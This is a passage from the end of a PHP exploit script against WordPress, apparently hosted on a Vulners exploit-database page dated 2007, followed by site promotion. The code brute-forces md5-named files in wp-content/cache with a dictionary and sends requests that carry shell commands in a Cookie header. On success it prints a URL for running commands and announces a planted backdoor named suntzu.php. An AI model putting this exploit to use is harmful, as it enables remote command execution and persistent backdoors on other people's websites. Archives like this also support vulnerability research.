&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Exploit&nbsp;succeeded...\r\n&quot;;$temp=explode(&quot;*DL*&quot;,$html);echo($temp[1]);echo&quot;\r\nNow&nbsp;you&nbsp;can&nbsp;launch&nbsp;commands&nbsp;through&nbsp;the&nbsp;followig&nbsp;urls:\r\n&nbsp;http://&quot;.$host.$path.&quot;wp-content/cache/&quot;.$check[$i].&quot;?cmd=ls%20-la\r\nalso,&nbsp;you&nbsp;should&nbsp;have&nbsp;a&nbsp;backdoor&nbsp;called&nbsp;suntzu.php&nbsp;in&nbsp;the&nbsp;same&nbsp;folder\r\n&quot;;die;
&nbsp;&nbsp;}
}

if&nbsp;($dict=='')&nbsp;{echo&nbsp;&quot;exploit&nbsp;failed...\r\n&quot;;}
else
&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;step&nbsp;6&nbsp;-&gt;&nbsp;trying&nbsp;with&nbsp;dictionary&nbsp;attack...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(file_exists($dict))
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fp=fopen($dict,&quot;r&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($fp))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$word=trim(fgets($fp));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$check=array(&quot;users/&quot;.md5($user_id.$word).&quot;.php&quot;,
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;userlogins/&quot;.md5(trim($username).$word).&quot;.php&quot;
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=count($check)-1;&nbsp;$i++)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
	&nbsp;&nbsp;echo&nbsp;&quot;Trying&nbsp;with&nbsp;&quot;.$check[$i].&quot;\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet=&quot;GET&nbsp;&quot;.$p.&quot;wp-content/cache/&quot;.$check[$i].&quot;&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&quot;Cookie:&nbsp;cmd=&quot;.$cmd.&quot;\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendpacketii($packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(strstr($html,&quot;*DL*&quot;))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Exploit&nbsp;succeeded...\r\n&quot;;fclose($fp);$temp=explode(&quot;*DL*&quot;,$html);echo&nbsp;$temp[1];echo&quot;Now&nbsp;you&nbsp;can&nbsp;launch&nbsp;commands&nbsp;through&nbsp;the&nbsp;followig&nbsp;url:\r\n&nbsp;http://&quot;.$host.$path.&quot;wp-content/cache/&quot;.$check[$i].&quot;?cmd=ls%20-la\r\nalso,&nbsp;you&nbsp;should&nbsp;have&nbsp;a&nbsp;backdoor&nbsp;called&nbsp;suntzu.php&nbsp;in&nbsp;the&nbsp;same&nbsp;folder\r\n&quot;;
	&nbsp;&nbsp;&nbsp;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//if&nbsp;you&nbsp;are&nbsp;here...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Exploit&nbsp;failed...\r\n&quot;;
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die($dict.&quot;does&nbsp;not&nbsp;exist!&quot;);
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
59